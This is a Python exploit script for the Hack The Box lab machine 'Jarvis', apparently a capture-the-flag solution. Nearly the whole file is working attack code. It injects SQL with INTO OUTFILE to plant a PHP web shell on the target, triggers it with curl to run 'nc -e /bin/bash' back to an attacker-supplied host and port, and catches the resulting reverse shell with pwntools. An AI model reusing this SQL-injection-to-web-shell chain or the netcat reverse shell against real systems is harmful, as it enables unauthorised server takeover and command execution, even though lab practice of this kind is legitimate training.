# -*- coding: utf-8 -*-

# Jarvis HTB SQLi to RCE
# CVE: -
# Exploit author: Renan Almeida
# Python script exploit author: Renan Almeida a.k.a. nullarmor <nullarmor@protonmail.com>

import argparse
import os
import random
import requests
import string
import subprocess
import sys
from pwn import *

# https://pynative.com/python-generate-random-string/
def randomString(stringLength=10):
    """Generate a random string of fixed length """
    letters = string.ascii_lowercase
    return ''.join(random.choice(letters) for i in range(stringLength))
        
def main():
    
    # args
    argparser = argparse.ArgumentParser(description='Jarvis HTB SQLi to RCE', 
                                        add_help=False)
    main_arg = argparser.add_argument_group("MAIN")
    
    main_arg.add_argument('-h', '--help', 
                            help='Show this help menu', 
                            action='store_true')
    
    main_arg.add_argument('--lhost', type=str,
                            help='Local host to receive reverse shell', 
                            required=True)
    
    main_arg.add_argument('--lport', type=str,
                            help='Local port to receive reverse shell (default: 4444)', 
                            default='4444')
    
    args = argparser.parse_args()
    
    # arg validation
    if args.help:
        argparser.print_help()
        sys.exit(1)
    
    # cons
    lhost = args.lhost
    lport = args.lport
    
    def reverse_shell():
        
        l = listen(lport)
        l.sendline(""" python -c 'import pty; pty.spawn("/bin/bash")'""")
        l.interactive()
    
    
    def webshell_upload():
        global random_string
        
        random_string = randomString(5)
        url = "http://10.10.10.143/room.php?cod="
        sql_payload = '-5095 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,"<?=`$_GET[0]`?>",NULL into OUTFILE \'/var/www/html/{}.php\' --'.format(random_string)
        url += sql_payload
        
        print(" [*] Trying to upload the web shell exploiting the SQLi...")
        
        try:
            r = requests.get(url)

        except Exception as e:
            print(e)
            print(" [*] Failed to upload the web shell!")
            sys.exit(1)
        
        else:
            print(" [*] Shell uploaded with success!")
            print(" [*] Shell web address: http://10.10.10.143/{}.php | use: http://10.10.10.143/{}.php?0=command".format(random_string, random_string))   
        
            print(" [*] Spawning the reverse shell...")
   
    def spawn_revshell():
        global random_string
        
        rce = "nc%20-e%20%2Fbin%2Fbash%20{}%20{}".format(lhost, lport)
        
        try:
            payload = "curl -sS http://10.10.10.143/{}.php?0={}".format(random_string, rce)
            subprocess.Popen([sys.executable, '-c', 'import os; from time import sleep; sleep(2); os.system("{}")'.format(payload)], stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
        except Exception as e:
            print(e)
            print(" [*] Failed to spawn the reverse shell! :(")
            sys.exit(1)
        else:
            reverse_shell()
            
   
    # main
    print(" [>] Jarvis HTB SQLi to RCE")
    print(" [*] Python script exploit author: nullarmor")
    webshell_upload()
    spawn_revshell()


if __name__ == "__main__":
    main()
